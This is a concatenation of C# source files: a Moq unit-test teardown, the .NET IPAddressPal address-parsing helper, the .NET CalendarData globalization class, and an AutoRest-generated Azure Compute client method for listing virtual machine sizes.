connB.Setup(x => x.Cache).Returns(cacheB);
hostA = new Mock<Host>(MockBehavior.Strict);
hostA.Setup(n => n.Name()).Returns("HostAName");
hostA.Setup(n => n.Equals(It.IsAny<object>())).Returns((object o) => ReferenceEquals(o, hostA.Object));
hostB = new Mock<Host>(MockBehavior.Strict);
hostB.Setup(n => n.Name()).Returns("HostBName");
hostB.Setup(n => n.Equals(It.IsAny<object>())).Returns((object o) => ReferenceEquals(o, hostB.Object));
}
[TearDown]
public void TestTearDown()
{
cacheA = null;
cacheB = null;
connA = null;
connB = null;
hostA = null;
hostB = null;
}
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System.Diagnostics;
using System.Net.Sockets;
using System.Text;
namespace System.Net
{
internal static class IPAddressPal
{
public const uint SuccessErrorCode = 0;
public static unsafe uint Ipv4AddressToString(byte[] address, StringBuilder buffer)
{
Debug.Assert(address != null);
Debug.Assert(address.Length == IPAddressParser.IPv4AddressBytes);
Debug.Assert(buffer != null);
Debug.Assert(buffer.Capacity >= IPAddressParser.INET_ADDRSTRLEN);
var sockaddr = new Interop.libc.sockaddr_in {
sin_family = Interop.libc.AF_INET,
sin_port = 0
};
sockaddr.sin_addr.s_addr = address.NetworkBytesToNetworkUInt32(0);
int err = Interop.libc.getnameinfo((Interop.libc.sockaddr*)&sockaddr, (uint)sizeof(Interop.libc.sockaddr_in), buffer, (uint)buffer.Capacity, null, 0, Interop.libc.NI_NUMERICHOST);
return unchecked((uint)err);
}
public static unsafe uint Ipv6AddressToString(byte[] address, uint scopeId, StringBuilder buffer)
{
Debug.Assert(address != null);
Debug.Assert(address.Length == IPAddressParser.IPv6AddressBytes);
Debug.Assert(buffer != null);
Debug.Assert(buffer.Capacity >= IPAddressParser.INET6_ADDRSTRLEN);
var sockaddr = new Interop.libc.sockaddr_in6 {
sin6_family = Interop.libc.AF_INET6,
sin6_port = 0,
sin6_scope_id = scopeId
};
Debug.Assert(sizeof(Interop.libc.in6_addr) == IPAddressParser.IPv6AddressBytes);
for (int i = 0; i < IPAddressParser.IPv6AddressBytes; i++)
{
sockaddr.sin6_addr.s6_addr[i] = address[i];
}
int err = Interop.libc.getnameinfo((Interop.libc.sockaddr*)&sockaddr, (uint)sizeof(Interop.libc.sockaddr_in6), buffer, (uint)buffer.Capacity, null, 0, Interop.libc.NI_NUMERICHOST);
return unchecked((uint)err);
}
public static unsafe uint Ipv4StringToAddress(string ipString, byte[] bytes, out ushort port)
{
Debug.Assert(ipString != null);
Debug.Assert(bytes != null);
Debug.Assert(bytes.Length == IPAddressParser.IPv4AddressBytes);
port = 0;
var hints = new Interop.libc.addrinfo {
ai_flags = Interop.libc.AI_NUMERICHOST | Interop.libc.AI_NUMERICSERV,
ai_family = Interop.libc.AF_INET,
ai_socktype = 0,
ai_protocol = 0
};
Interop.libc.addrinfo* addrinfo = null;
int err = Interop.libc.getaddrinfo(ipString, null, &hints, &addrinfo);
if (err != 0)
{
Debug.Assert(addrinfo == null);
return unchecked((uint)err);
}
Debug.Assert(addrinfo != null);
Debug.Assert(addrinfo->ai_addr != null);
Debug.Assert(addrinfo->ai_addr->sa_family == Interop.libc.AF_INET);
Interop.libc.sockaddr_in* sockaddr = (Interop.libc.sockaddr_in*)addrinfo->ai_addr;
sockaddr->sin_addr.s_addr.NetworkToNetworkBytes(bytes, 0);
port = sockaddr->sin_port;
Interop.libc.freeaddrinfo(addrinfo);
Debug.Assert(err == 0);
return 0;
}
private static bool IsHexString(string input, int startIndex)
{
// "0[xX][A-Fa-f0-9]+"
if (startIndex >= input.Length - 3 ||
input[startIndex] != '0' ||
(input[startIndex + 1] != 'x' && input[startIndex + 1] != 'X'))
{
return false;
}
for (int i = startIndex + 2; i < input.Length; i++)
{
var c = input[i];
if ((c < 'A' || c > 'F') && (c < 'a' || c > 'f') && (c < '0' || c > '9'))
{
return false;
}
}
return true;
}
// Splits an IPv6 address of the form '[.*]:.*' into its host and port parts and removes
// surrounding square brackets, if any.
private static bool TryPreprocessIPv6Address(string input, out string host, out string port)
{
Debug.Assert(input != null);
if (input == "")
{
host = null;
port = null;
return false;
}
var hasLeadingBracket = input[0] == '[';
var trailingBracketIndex = -1;
var portSeparatorIndex = -1;
for (int i = input.Length - 1; i >= 0; i--)
{
if (input[i] == ']')
{
trailingBracketIndex = i;
break;
}
if (input[i] == ':')
{
Debug.Assert(i >= 1);
if (input[i - 1] == ']')
{
trailingBracketIndex = i - 1;
portSeparatorIndex = i;
}
break;
}
}
var hasTrailingBracket = trailingBracketIndex != -1;
if (hasLeadingBracket != hasTrailingBracket)
{
host = null;
port = null;
return false;
}
if (!hasLeadingBracket)
{
host = input;
port = null;
}
else
{
host = input.Substring(1, trailingBracketIndex - 1);
port = portSeparatorIndex != -1 && !IsHexString(input, portSeparatorIndex + 1) ?
input.Substring(portSeparatorIndex + 1) :
null;
}
return true;
}
public static unsafe uint Ipv6StringToAddress(string ipString, byte[] bytes, out uint scope)
{
Debug.Assert(ipString != null);
Debug.Assert(bytes != null);
Debug.Assert(bytes.Length == IPAddressParser.IPv6AddressBytes);
string host, port;
if (!TryPreprocessIPv6Address(ipString, out host, out port))
{
scope = 0;
return unchecked((uint)Interop.libc.EAI_NONAME);
}
var hints = new Interop.libc.addrinfo {
ai_flags = Interop.libc.AI_NUMERICHOST | Interop.libc.AI_NUMERICSERV,
ai_family = Interop.libc.AF_INET6,
ai_socktype = 0,
ai_protocol = 0
};
Interop.libc.addrinfo* addrinfo = null;
int err = Interop.libc.getaddrinfo(host, port, &hints, &addrinfo);
if (err != 0)
{
Debug.Assert(addrinfo == null);
scope = 0;
return unchecked((uint)err);
}
Debug.Assert(addrinfo != null);
Debug.Assert(addrinfo->ai_addr != null);
Debug.Assert(addrinfo->ai_addr->sa_family == Interop.libc.AF_INET6);
Interop.libc.sockaddr_in6* sockaddr = (Interop.libc.sockaddr_in6*)addrinfo->ai_addr;
Debug.Assert(sizeof(Interop.libc.in6_addr) == IPAddressParser.IPv6AddressBytes);
for (int i = 0; i < IPAddressParser.IPv6AddressBytes; i++)
{
bytes[i] = sockaddr->sin6_addr.s6_addr[i];
}
scope = sockaddr->sin6_scope_id;
Interop.libc.freeaddrinfo(addrinfo);
Debug.Assert(err == 0);
return 0;
}
public static SocketError GetSocketErrorForErrorCode(uint status)
{
switch (unchecked((int)status))
{
case 0:
return SocketError.Success;
case Interop.libc.EAI_BADFLAGS:
case Interop.libc.EAI_NONAME:
return SocketError.InvalidArgument;
default:
return (SocketError)status;
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Diagnostics;
namespace System.Globalization
{
// List of calendar data
// Note the we cache overrides.
// Note that localized names (resource names) aren't available from here.
//
// NOTE: Calendars depend on the locale name that creates it. Only a few
// properties are available without locales using CalendarData.GetCalendar(CalendarData)
internal partial class CalendarData
{
// Max calendars
internal const int MAX_CALENDARS = 23;
// Identity
internal String sNativeName; // Calendar Name for the locale
// Formats
internal String[] saShortDates; // Short Data format, default first
internal String[] saYearMonths; // Year/Month Data format, default first
internal String[] saLongDates; // Long Data format, default first
internal String sMonthDay; // Month/Day format
// Calendar Parts Names
internal String[] saEraNames; // Names of Eras
internal String[] saAbbrevEraNames; // Abbreviated Era Names
internal String[] saAbbrevEnglishEraNames; // Abbreviated Era Names in English
internal String[] saDayNames; // Day Names, null to use locale data, starts on Sunday
internal String[] saAbbrevDayNames; // Abbrev Day Names, null to use locale data, starts on Sunday
internal String[] saSuperShortDayNames; // Super short Day of week names
internal String[] saMonthNames; // Month Names (13)
internal String[] saAbbrevMonthNames; // Abbrev Month Names (13)
internal String[] saMonthGenitiveNames; // Genitive Month Names (13)
internal String[] saAbbrevMonthGenitiveNames; // Genitive Abbrev Month Names (13)
internal String[] saLeapYearMonthNames; // Multiple strings for the month names in a leap year.
// Integers at end to make marshaller happier
internal int iTwoDigitYearMax = 2029; // Max 2 digit year (for Y2K bug data entry)
internal int iCurrentEra = 0; // current era # (usually 1)
// Use overrides?
internal bool bUseUserOverrides; // True if we want user overrides.
// Static invariant for the invariant locale
internal static readonly CalendarData Invariant = CreateInvariant();
// Private constructor
private CalendarData() { }
// Invariant factory
private static CalendarData CreateInvariant()
{
// Set our default/gregorian US calendar data
// Calendar IDs are 1-based, arrays are 0 based.
CalendarData invariant = new CalendarData();
// Set default data for calendar
// Note that we don't load resources since this IS NOT supposed to change (by definition)
invariant.sNativeName = "Gregorian Calendar"; // Calendar Name
// Year
invariant.iTwoDigitYearMax = 2029; // Max 2 digit year (for Y2K bug data entry)
invariant.iCurrentEra = 1; // Current era #
// Formats
invariant.saShortDates = new String[] { "MM/dd/yyyy", "yyyy-MM-dd" }; // short date format
invariant.saLongDates = new String[] { "dddd, dd MMMM yyyy" }; // long date format
invariant.saYearMonths = new String[] { "yyyy MMMM" }; // year month format
invariant.sMonthDay = "MMMM dd"; // Month day pattern
// Calendar Parts Names
invariant.saEraNames = new String[] { "A.D." }; // Era names
invariant.saAbbrevEraNames = new String[] { "AD" }; // Abbreviated Era names
invariant.saAbbrevEnglishEraNames = new String[] { "AD" }; // Abbreviated era names in English
invariant.saDayNames = new String[] { "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" };// day names
invariant.saAbbrevDayNames = new String[] { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; // abbreviated day names
invariant.saSuperShortDayNames = new String[] { "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" }; // The super short day names
invariant.saMonthNames = new String[] { "January", "February", "March", "April", "May", "June",
"July", "August", "September", "October", "November", "December", String.Empty}; // month names
invariant.saAbbrevMonthNames = new String[] { "Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec", String.Empty}; // abbreviated month names
invariant.saMonthGenitiveNames = invariant.saMonthNames; // Genitive month names (same as month names for invariant)
invariant.saAbbrevMonthGenitiveNames = invariant.saAbbrevMonthNames; // Abbreviated genitive month names (same as abbrev month names for invariant)
invariant.saLeapYearMonthNames = invariant.saMonthNames; // leap year month names are unused in Gregorian English (invariant)
invariant.bUseUserOverrides = false;
return invariant;
}
//
// Get a bunch of data for a calendar
//
internal CalendarData(String localeName, CalendarId calendarId, bool bUseUserOverrides)
{
this.bUseUserOverrides = bUseUserOverrides;
Debug.Assert(!GlobalizationMode.Invariant);
if (!LoadCalendarDataFromSystem(localeName, calendarId))
{
Debug.Assert(false, "[CalendarData] LoadCalendarDataFromSystem call isn't expected to fail for calendar " + calendarId + " locale " + localeName);
// Something failed, try invariant for missing parts
// This is really not good, but we don't want the callers to crash.
if (this.sNativeName == null) this.sNativeName = String.Empty; // Calendar Name for the locale.
// Formats
if (this.saShortDates == null) this.saShortDates = Invariant.saShortDates; // Short Data format, default first
if (this.saYearMonths == null) this.saYearMonths = Invariant.saYearMonths; // Year/Month Data format, default first
if (this.saLongDates == null) this.saLongDates = Invariant.saLongDates; // Long Data format, default first
if (this.sMonthDay == null) this.sMonthDay = Invariant.sMonthDay; // Month/Day format
// Calendar Parts Names
if (this.saEraNames == null) this.saEraNames = Invariant.saEraNames; // Names of Eras
if (this.saAbbrevEraNames == null) this.saAbbrevEraNames = Invariant.saAbbrevEraNames; // Abbreviated Era Names
if (this.saAbbrevEnglishEraNames == null) this.saAbbrevEnglishEraNames = Invariant.saAbbrevEnglishEraNames; // Abbreviated Era Names in English
if (this.saDayNames == null) this.saDayNames = Invariant.saDayNames; // Day Names, null to use locale data, starts on Sunday
if (this.saAbbrevDayNames == null) this.saAbbrevDayNames = Invariant.saAbbrevDayNames; // Abbrev Day Names, null to use locale data, starts on Sunday
if (this.saSuperShortDayNames == null) this.saSuperShortDayNames = Invariant.saSuperShortDayNames; // Super short Day of week names
if (this.saMonthNames == null) this.saMonthNames = Invariant.saMonthNames; // Month Names (13)
if (this.saAbbrevMonthNames == null) this.saAbbrevMonthNames = Invariant.saAbbrevMonthNames; // Abbrev Month Names (13)
// Genitive and Leap names can follow the fallback below
}
if (calendarId == CalendarId.TAIWAN)
{
if (SystemSupportsTaiwaneseCalendar())
{
// We got the month/day names from the OS (same as gregorian), but the native name is wrong
this.sNativeName = "\x4e2d\x83ef\x6c11\x570b\x66c6";
}
else
{
this.sNativeName = String.Empty;
}
}
// Check for null genitive names (in case unmanaged side skips it for non-gregorian calendars, etc)
if (this.saMonthGenitiveNames == null || this.saMonthGenitiveNames.Length == 0 || String.IsNullOrEmpty(this.saMonthGenitiveNames[0]))
this.saMonthGenitiveNames = this.saMonthNames; // Genitive month names (same as month names for invariant)
if (this.saAbbrevMonthGenitiveNames == null || this.saAbbrevMonthGenitiveNames.Length == 0 || String.IsNullOrEmpty(this.saAbbrevMonthGenitiveNames[0]))
this.saAbbrevMonthGenitiveNames = this.saAbbrevMonthNames; // Abbreviated genitive month names (same as abbrev month names for invariant)
if (this.saLeapYearMonthNames == null || this.saLeapYearMonthNames.Length == 0 || String.IsNullOrEmpty(this.saLeapYearMonthNames[0]))
this.saLeapYearMonthNames = this.saMonthNames;
InitializeEraNames(localeName, calendarId);
InitializeAbbreviatedEraNames(localeName, calendarId);
// Abbreviated English Era Names are only used for the Japanese calendar.
if (calendarId == CalendarId.JAPAN)
{
this.saAbbrevEnglishEraNames = JapaneseCalendar.EnglishEraNames();
}
else
{
// For all others just use the an empty string (doesn't matter we'll never ask for it for other calendars)
this.saAbbrevEnglishEraNames = new String[] { "" };
}
// Japanese is the only thing with > 1 era. Its current era # is how many ever
// eras are in the array. (And the others all have 1 string in the array)
this.iCurrentEra = this.saEraNames.Length;
}
private void InitializeEraNames(string localeName, CalendarId calendarId)
{
// Note that the saEraNames only include "A.D." We don't have localized names for other calendars available from windows
switch (calendarId)
{
// For Localized Gregorian we really expect the data from the OS.
case CalendarId.GREGORIAN:
// Fallback for CoreCLR < Win7 or culture.dll missing
if (this.saEraNames == null || this.saEraNames.Length == 0 || String.IsNullOrEmpty(this.saEraNames[0]))
{
this.saEraNames = new String[] { "A.D." };
}
break;
// The rest of the calendars have constant data, so we'll just use that
case CalendarId.GREGORIAN_US:
case CalendarId.JULIAN:
this.saEraNames = new String[] { "A.D." };
break;
case CalendarId.HEBREW:
this.saEraNames = new String[] { "C.E." };
break;
case CalendarId.HIJRI:
case CalendarId.UMALQURA:
if (localeName == "dv-MV")
{
// Special case for Divehi
this.saEraNames = new String[] { "\x0780\x07a8\x0796\x07b0\x0783\x07a9" };
}
else
{
this.saEraNames = new String[] { "\x0628\x0639\x062F \x0627\x0644\x0647\x062C\x0631\x0629" };
}
break;
case CalendarId.GREGORIAN_ARABIC:
case CalendarId.GREGORIAN_XLIT_ENGLISH:
case CalendarId.GREGORIAN_XLIT_FRENCH:
// These are all the same:
this.saEraNames = new String[] { "\x0645" };
break;
case CalendarId.GREGORIAN_ME_FRENCH:
this.saEraNames = new String[] { "ap. J.-C." };
break;
case CalendarId.TAIWAN:
if (SystemSupportsTaiwaneseCalendar())
{
this.saEraNames = new String[] { "\x4e2d\x83ef\x6c11\x570b" };
}
else
{
this.saEraNames = new String[] { String.Empty };
}
break;
case CalendarId.KOREA:
this.saEraNames = new String[] { "\xb2e8\xae30" };
break;
case CalendarId.THAI:
this.saEraNames = new String[] { "\x0e1e\x002e\x0e28\x002e" };
break;
case CalendarId.JAPAN:
case CalendarId.JAPANESELUNISOLAR:
this.saEraNames = JapaneseCalendar.EraNames();
break;
case CalendarId.PERSIAN:
if (this.saEraNames == null || this.saEraNames.Length == 0 || String.IsNullOrEmpty(this.saEraNames[0]))
{
this.saEraNames = new String[] { "\x0647\x002e\x0634" };
}
break;
default:
// Most calendars are just "A.D."
this.saEraNames = Invariant.saEraNames;
break;
}
}
private void InitializeAbbreviatedEraNames(string localeName, CalendarId calendarId)
{
// Note that the saAbbrevEraNames only include "AD" We don't have localized names for other calendars available from windows
switch (calendarId)
{
// For Localized Gregorian we really expect the data from the OS.
case CalendarId.GREGORIAN:
// Fallback for CoreCLR < Win7 or culture.dll missing
if (this.saAbbrevEraNames == null || this.saAbbrevEraNames.Length == 0 || String.IsNullOrEmpty(this.saAbbrevEraNames[0]))
{
this.saAbbrevEraNames = new String[] { "AD" };
}
break;
// The rest of the calendars have constant data, so we'll just use that
case CalendarId.GREGORIAN_US:
case CalendarId.JULIAN:
this.saAbbrevEraNames = new String[] { "AD" };
break;
case CalendarId.JAPAN:
case CalendarId.JAPANESELUNISOLAR:
this.saAbbrevEraNames = JapaneseCalendar.AbbrevEraNames();
break;
case CalendarId.HIJRI:
case CalendarId.UMALQURA:
if (localeName == "dv-MV")
{
// Special case for Divehi
this.saAbbrevEraNames = new String[] { "\x0780\x002e" };
}
else
{
this.saAbbrevEraNames = new String[] { "\x0647\x0640" };
}
break;
case CalendarId.TAIWAN:
// Get era name and abbreviate it
this.saAbbrevEraNames = new String[1];
if (this.saEraNames[0].Length == 4)
{
this.saAbbrevEraNames[0] = this.saEraNames[0].Substring(2, 2);
}
else
{
this.saAbbrevEraNames[0] = this.saEraNames[0];
}
break;
case CalendarId.PERSIAN:
if (this.saAbbrevEraNames == null || this.saAbbrevEraNames.Length == 0 || String.IsNullOrEmpty(this.saAbbrevEraNames[0]))
{
this.saAbbrevEraNames = this.saEraNames;
}
break;
default:
// Most calendars just use the full name
this.saAbbrevEraNames = this.saEraNames;
break;
}
}
internal static CalendarData GetCalendarData(CalendarId calendarId)
{
//
// Get a calendar.
// Unfortunately we depend on the locale in the OS, so we need a locale
// no matter what. So just get the appropriate calendar from the
// appropriate locale here
//
// Get a culture name
// TODO: Note that this doesn't handle the new calendars (lunisolar, etc)
String culture = CalendarIdToCultureName(calendarId);
// Return our calendar
return CultureInfo.GetCultureInfo(culture)._cultureData.GetCalendar(calendarId);
}
private static String CalendarIdToCultureName(CalendarId calendarId)
{
switch (calendarId)
{
case CalendarId.GREGORIAN_US:
return "fa-IR"; // "fa-IR" Iran
case CalendarId.JAPAN:
return "ja-JP"; // "ja-JP" Japan
case CalendarId.TAIWAN:
return "zh-TW"; // zh-TW Taiwan
case CalendarId.KOREA:
return "ko-KR"; // "ko-KR" Korea
case CalendarId.HIJRI:
case CalendarId.GREGORIAN_ARABIC:
case CalendarId.UMALQURA:
return "ar-SA"; // "ar-SA" Saudi Arabia
case CalendarId.THAI:
return "th-TH"; // "th-TH" Thailand
case CalendarId.HEBREW:
return "he-IL"; // "he-IL" Israel
case CalendarId.GREGORIAN_ME_FRENCH:
return "ar-DZ"; // "ar-DZ" Algeria
case CalendarId.GREGORIAN_XLIT_ENGLISH:
case CalendarId.GREGORIAN_XLIT_FRENCH:
return "ar-IQ"; // "ar-IQ"; Iraq
default:
// Default to gregorian en-US
break;
}
return "en-US";
}
}
}
| |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for
// license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator 0.17.0.0
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
namespace Microsoft.Azure.Management.Compute
{
using System.Linq;
using Microsoft.Rest;
using Microsoft.Rest.Azure;
using Models;
/// <summary>
/// VirtualMachineSizesOperations operations.
/// </summary>
internal partial class VirtualMachineSizesOperations : Microsoft.Rest.IServiceOperations<ComputeManagementClient>, IVirtualMachineSizesOperations
{
/// <summary>
/// Initializes a new instance of the VirtualMachineSizesOperations class.
/// </summary>
/// <param name='client'>
/// Reference to the service client.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
internal VirtualMachineSizesOperations(ComputeManagementClient client)
{
if (client == null)
{
throw new System.ArgumentNullException("client");
}
this.Client = client;
}
/// <summary>
/// Gets a reference to the ComputeManagementClient
/// </summary>
public ComputeManagementClient Client { get; private set; }
/// <summary>
/// Lists all available virtual machine sizes for a subscription in a location.
/// </summary>
/// <param name='location'>
/// The location upon which virtual-machine-sizes is queried.
/// </param>
/// <param name='customHeaders'>
/// Headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
/// <return>
/// A response object containing the response body and response headers.
/// </return>
public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse<System.Collections.Generic.IEnumerable<VirtualMachineSize>>> ListWithHttpMessagesAsync(string location, System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken))
{
if (location == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "location");
}
if (location != null)
{
if (!System.Text.RegularExpressions.Regex.IsMatch(location, "^[-\\w\\._]+$"))
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.Pattern, "location", "^[-\\w\\._]+$");
}
}
if (this.Client.SubscriptionId == null)
{
throw new Microsoft.Rest.ValidationException(Microsoft.Rest.ValidationRules.CannotBeNull, "this.Client.SubscriptionId");
}
string apiVersion = "2016-03-30";
// Tracing
bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled;
string _invocationId = null;
if (_shouldTrace)
{
_invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString();
System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>();
tracingParameters.Add("location", location);
tracingParameters.Add("apiVersion", apiVersion);
tracingParameters.Add("cancellationToken", cancellationToken);
Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "List", tracingParameters);
}
// Construct URL
var _baseUrl = this.Client.BaseUri.AbsoluteUri;
var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "subscriptions/{subscriptionId}/providers/Microsoft.Compute/locations/{location}/vmSizes").ToString();
_url = _url.Replace("{location}", System.Uri.EscapeDataString(location));
_url = _url.Replace("{subscriptionId}", System.Uri.EscapeDataString(this.Client.SubscriptionId));
System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>();
if (apiVersion != null)
{
_queryParameters.Add(string.Format("api-version={0}", System.Uri.EscapeDataString(apiVersion)));
}
if (_queryParameters.Count > 0)
{
_url += (_url.Contains("?") ? "&" : "?") + string.Join("&", _queryParameters);
}
// Create HTTP transport objects
System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage();
System.Net.Http.HttpResponseMessage _httpResponse = null;
_httpRequest.Method = new System.Net.Http.HttpMethod("GET");
_httpRequest.RequestUri = new System.Uri(_url);
// Set Headers
if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value)
{
_httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString());
}
if (this.Client.AcceptLanguage != null)
{
if (_httpRequest.Headers.Contains("accept-language"))
{
_httpRequest.Headers.Remove("accept-language");
}
_httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage);
}
if (customHeaders != null)
{
foreach(var _header in customHeaders)
{
if (_httpRequest.Headers.Contains(_header.Key))
{
_httpRequest.Headers.Remove(_header.Key);
}
_httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value);
}
}
// Serialize Request
string _requestContent = null;
// Set Credentials
if (this.Client.Credentials != null)
{
cancellationToken.ThrowIfCancellationRequested();
await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
}
// Send Request
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest);
}
cancellationToken.ThrowIfCancellationRequested();
_httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse);
}
System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode;
cancellationToken.ThrowIfCancellationRequested();
string _responseContent = null;
if ((int)_statusCode != 200)
{
var ex = new Microsoft.Rest.Azure.CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode));
try
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
CloudError _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<CloudError>(_responseContent, this.Client.DeserializationSettings);
if (_errorBody != null)
{
ex = new Microsoft.Rest.Azure.CloudException(_errorBody.Message);
ex.Body = _errorBody;
}
}
catch (Newtonsoft.Json.JsonException)
{
// Ignore the exception
}
ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent);
ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent);
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex);
}
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw ex;
}
// Create Result
var _result = new Microsoft.Rest.Azure.AzureOperationResponse<System.Collections.Generic.IEnumerable<VirtualMachineSize>>();
_result.Request = _httpRequest;
_result.Response = _httpResponse;
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
_result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
// Deserialize Response
if ((int)_statusCode == 200)
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
try
{
_result.Body = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<Page<VirtualMachineSize>>(_responseContent, this.Client.DeserializationSettings);
}
catch (Newtonsoft.Json.JsonException ex)
{
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw new Microsoft.Rest.SerializationException("Unable to deserialize the response.", _responseContent, ex);
}
}
if (_shouldTrace)
{
Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result);
}
return _result;
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.